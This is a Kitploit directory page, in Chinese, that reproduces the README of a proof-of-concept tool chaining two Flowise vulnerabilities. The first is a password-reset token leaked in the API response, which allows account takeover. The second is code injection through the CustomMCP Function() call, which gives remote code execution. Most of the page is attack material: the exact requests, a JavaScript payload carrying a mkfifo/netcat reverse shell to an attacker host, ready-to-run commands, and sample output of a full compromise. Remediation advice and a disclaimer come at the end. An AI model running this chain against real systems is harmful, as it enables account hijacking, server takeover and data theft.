Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-58434-AND-59528-POC — 模块化PoC,针对Flowise中的CVE-2025-58434(账户接管)和CVE-2025-59528(远程代码执行)。自动化完整的攻击链,从未经身份验证的令牌泄露到通过反向shell或自定义命令实现远程代码执行。 | Kitploit
工具/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育远程访问工具Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

模块化PoC,针对Flowise中的CVE-2025-58434(账户接管)和CVE-2025-59528(远程代码执行)。自动化完整的攻击链,从未经身份验证的令牌泄露到通过反向shell或自定义命令实现远程代码执行。

查看仓库
1925个月前尚未审核
分享

Flowise 双重 CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 仅用于教育和授权的安全研究。
针对你不拥有或未经书面许可测试的系统运行此工具是非法的。


目录

  • 概述
  • 漏洞详情
    • CVE-2025-58434 — 账户接管
    • CVE-2025-59528 — 远程代码执行
  • 完整攻击链
  • 受影响版本
  • 仓库结构
  • 环境要求
  • 安装
  • 使用说明
  • 默认行为
  • 帮助界面
  • 链式模式
  • 模块 — ATO
  • 模块 — 登录
  • 模块 — RCE
  • 参数参考
  • 反弹Shell vs 自定义命令
  • 示例输出
  • 修复建议
  • 披露时间线
  • 参考资料
  • 免责声明

  • 概述

    本仓库将 Flowise 的两个严重漏洞合并为一个模块化 PoC 工具。

    CVE-2025-58434CVE-2025-59528
    类型账户接管远程代码执行
    需要认证否是(任意有效账户)
    CVSS9.8 严重严重
    影响范围云 + 自托管自托管

    这两个漏洞自然串联:CVE-2025-58434 提供无需认证的账户接管,满足了 CVE-2025-59528 的认证要求——从而在单次自动化运行中实现无认证的远程代码执行。


    漏洞详情

    CVE-2025-58434 — 账户接管

    根本原因: forgot-password 端点直接在 HTTP 响应体中返回密码重置令牌(tempToken),而不是仅通过邮件发送。

    攻击步骤:

    1. POST /api/v1/account/forgot-password,使用任意已注册邮箱
    2. 从 JSON 响应中读取 tempToken — 无需访问邮箱
    3. POST /api/v1/account/reset-password,使用泄露的令牌 → 设置新密码
    4. 以受害者身份登录

    泄露的响应(截取):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — 远程代码执行

    根本原因: CustomMCP 节点直接将用户提供的 mcpServerConfig 传递给 JavaScript 的 Function() 构造函数,未经任何清理。由于 Flowise 运行在 Node.js 环境中,注入的代码可以完全访问 child_process、fs 以及所有 Node.js 内建模块。

    易受攻击的代码路径:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← 未经清理的用户输入
    

    必需的请求头:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    默认注入载荷(反弹 Shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    注意: 反弹 Shell 载荷使用 cp.exec()(异步 / 即发即忘),因此 HTTP 请求会立即返回,工具不会超时。常规命令使用 cp.execSync(),并直接返回输出。


    完整攻击链

    root@kitploit:~
    攻击者                                Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← 令牌在响应中泄露
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO 完成
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← 提取 cookie
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() 在后台触发]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       攻击者的 nc 监听器 ←─────────────────── 服务器回连
       ✓  零凭证实现完全 RCE
    

    受影响版本

    组件状态
    Flowise Cloud (cloud.flowiseai.com)受 CVE-2025-58434 影响
    Flowise 自托管(补丁前的所有版本)受两个 CVE 影响

    请查看 官方 Flowise 安全公告 了解已修补的版本号。


    仓库结构

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # 主 PoC — 所有模块 + 链式模式
    ├── requirements.txt    # Python 依赖
    ├── README.md           # 本文件
    └── DISCLAIMER.md       # 完整法律声明
    

    环境要求

    • Python 3.7+
    • requests 库

    安装

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    使用说明

    默认行为

    不需要指定模式标志。 如果不使用 --chain 或 --module 运行脚本,它将自动以完整链式模式运行。默认的 RCE 载荷是反弹 Shell——只需提供 --lhost 和 --lport。

    root@kitploit:~
    # 最小调用 — 完整链 + 反弹 Shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    运行前启动你的监听器:

    root@kitploit:~
    nc -lvnp 4444
    

    帮助界面

    root@kitploit:~
    python3 flowise_poc.py -h
    

    链式模式

    从头到尾运行所有四个步骤:泄露令牌 → 重置密码 → 登录 → RCE。

    root@kitploit:~
    # 反弹 Shell(默认载荷)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # 自定义命令替代反弹 Shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # 自定义 ATO 密码 + 反弹 Shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    模块 — ATO

    泄露 tempToken 并重置账户密码。在登录/RCE 前停止。

    root@kitploit:~
    # 默认新密码
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # 自定义新密码
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # 打印原始 JSON 响应
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    模块 — 登录

    进行身份验证并提取三个会话 cookie 供手动使用。

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON 输出,适合脚本化
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    模块 — RCE

    在服务器上执行。如果未提供 --token,则自动登录。

    root@kitploit:~
    # 反弹 Shell — 自动登录
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # 自定义命令 — 自动登录
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # 手动提供令牌 — 反弹 Shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # 手动提供所有三个 cookie
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    参数参考

    模式(均为可选 — 默认是 --chain)

    标志描述
    --chain完整链:ATO → 登录 → RCE
    --module ato仅账户接管
    --module login仅登录并提取 cookie
    --module rce仅 RCE

    目标

    标志简写描述必需
    --url-uFlowise 实例的基 URL始终
    --email-e目标/登录邮箱始终

    ATO 选项

    标志简写描述默认值
    --new-password-pATO 后为受害者账户设置的密码Flowise@Pwn3d2025!

    认证选项

    标志简写描述
    --login-password-P登录模块/RCE 自动登录的密码
    --token—手动提供 token cookie(跳过登录)
    --refresh-token—手动提供 refreshToken cookie
    --connect-sid—手动提供 connect.sid cookie

    RCE 选项

    标志简写描述默认值
    --lhost—用于反弹 Shell 的攻击者 IP—
    --lport—用于反弹 Shell 的攻击者端口—
    --command-c自定义操作系统命令(覆盖 revshell)若无 lhost/lport 则为 id

    其他

    标志简写描述默认值
    --timeout-tHTTP 超时(秒)15
    --json-output-j打印原始 JSON 响应false

    反弹Shell vs 自定义命令

    脚本会自动选择合适的执行模式:

    场景使用的载荷HTTP 行为
    --lhost + --lport(无 -c)mkfifo netcat one-linercp.exec() — 异步,立即返回
    -c "..." 包含 nc/mkfifo/bash -i检测为 revshellcp.exec() — 异步,立即返回
    -c "id" 或其他普通命令用户命令cp.execSync() — 阻塞,返回输出
    无 -c,无 --lhostidcp.execSync() — 阻塞,返回输出

    异步执行意味着 HTTP 请求瞬间完成——反弹 Shell 载荷不会出现超时错误。


    示例输出

    root@kitploit:~
      [步骤 1] [CVE-2025-58434] 请求 forgot-password 令牌 ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        泄露的账户数据
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] 存在漏洞 — 无需认证即可泄露令牌!
    
      [步骤 2] [CVE-2025-58434] 重置密码 → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] 密码重置成功(tempToken 已清除)
      [+] 账户接管完成 → [email protected] / Flowise@Pwn3d2025!
    
      [步骤 3] [认证] 登录以提取会话 cookie ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        提取的会话 Cookie
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [步骤 4] [CVE-2025-59528] 通过 CustomMCP 执行 RCE ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE 结果
      ────────────────────────────────────────────────────────────────────
      模式    : 反弹 Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] 反弹 Shell 载荷已触发!
      [!] 正在等待 10.10.16.35:4444 上的连接 ...
      [!] 确保你的监听器正在运行:nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] 链式攻击完成
    

    修复建议

    针对 CVE-2025-58434

    • 绝不在 API 响应中返回令牌。 仅通过注册邮箱发送 tempToken。
    • 无论邮箱是否存在,都返回通用成功消息(防止枚举)。
    • 使令牌一次性使用、短时效(≤15分钟),并与请求上下文绑定。
    • 对 forgot-password 端点进行速率限制。

    针对 CVE-2025-59528

    • 绝不要将用户输入传递给 Function()、eval() 或 vm.runInThisContext()。
    • 将 mcpServerConfig 解析为纯数据(例如 JSON.parse())——绝不执行它。
    • 如果需要动态求值,请使用具有受限上下文的隔离沙箱。
    • 应用严格的输入验证,并对允许的配置键采用白名单。

    通用建议

    • 同时修补云和自托管部署。
    • 对密码重置和 node-load-method 端点启用日志记录和告警。
    • 考虑为所有管理员账户启用多因素认证。

    披露时间线

    日期事件
    2025-08-19发现并报告 CVE-2025-58434
    待定发现并报告 CVE-2025-59528
    待定厂商确认
    待定发布补丁
    待定公开披露

    参考资料

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640:弱密码恢复机制
    • CWE-94:对代码生成的不当控制

    免责声明

    仅用于教育目的和授权的渗透测试。
    请参阅 DISCLAIMER.md 获取完整法律声明。

    下载工具